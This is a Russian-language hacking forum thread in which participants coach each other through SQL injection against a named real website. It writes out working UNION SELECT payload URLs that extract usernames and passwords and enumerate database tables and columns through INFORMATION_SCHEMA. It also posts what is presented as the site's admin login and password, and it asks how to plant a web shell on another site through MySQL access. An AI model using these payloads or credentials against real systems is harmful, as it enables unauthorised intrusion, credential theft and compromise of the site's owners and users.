http://www.redbox.sg/products.php?cat_id=-61+union+select+1,2,3,concat_ws%280x3a,user_name,p assword%29,5,6,7,8,9,10,11,%2012,13,14,15,16,17,18 +from+user--

нет там таблы users

http://www.redbox.sg/products.php?cat_id=-61+UNION+SELECT+1,2,3,%28SELECT+CONCAT%28TABLE_NAM E,0x3a,TABLE_SCHEMA%29+FROM+INFORMATION_SCHEMA.TAB LES+LIMIT+106,1%29,5,6,7,8,9,10,11,12,13,14,15,16, 17,18--

user:bdlik_redboxx

http://www.redbox.sg/products.php?cat_id=-61+UNION+SELECT+1,2,3,%28SELECT+COLUMN_NAME+FROM+I NFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x75736 572+LIMIT+1,1%29,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18--

стандартная скуля с стандартным выводом, прежде чем постить всякую херню, подумай 3 раза и почитай ман по скулям...

о, спс, получилось,

www.redbox.sg/products.php?%20cat_id=-61+union+select%20+1,2,3,COLUMN_NAME,5,6,7,8,9,10, 11,%2012,13,14,15,16,17,18+FROM%20+INFORMATION_SCH EMA.COLUMNS+WHERE+TABLE_NAME=0x75736572--

я понял свои ошибки, только вот вопрос,

0x75736572- што ето такое? Как вы из узер получили ети символы? И почему скуль принимает только их а узер,нет?

клац

я вроде тебе сказал что прежде чем постить тупые вопросы почитай мануал..там есть все ответы..видимо ты из категории что в танке...это sql hex и в мануале все это описанно в деталях..сколько можно одно и тоже спрашивать..может переименовать раздел из "Ваши вопросы по уязвимостям" на "помощь школоте по раскрутке скулей "

ага, ок пойду почитаю,

ещо один вопрос,

узнал логин и пароЛЬ админа

name: redbox_admin

password: hooyinting

иду сюда

redbox.sg/login.php

ввожу данные, а мне пишет што непрвельный логин и пароль, почему?

патамушта гладиолус

0_о а если чесно?

Есть шелл www.site.com захожу через него в базу msql, www.admin.site.com возможно ли залить шелл через msql

на сайт www.admin.site.com

это понятно но у меня доступ к базе только через шелл(storm)

Извини, не понял вопрос (голова болит очень). В ПМ скинь, посмотрю.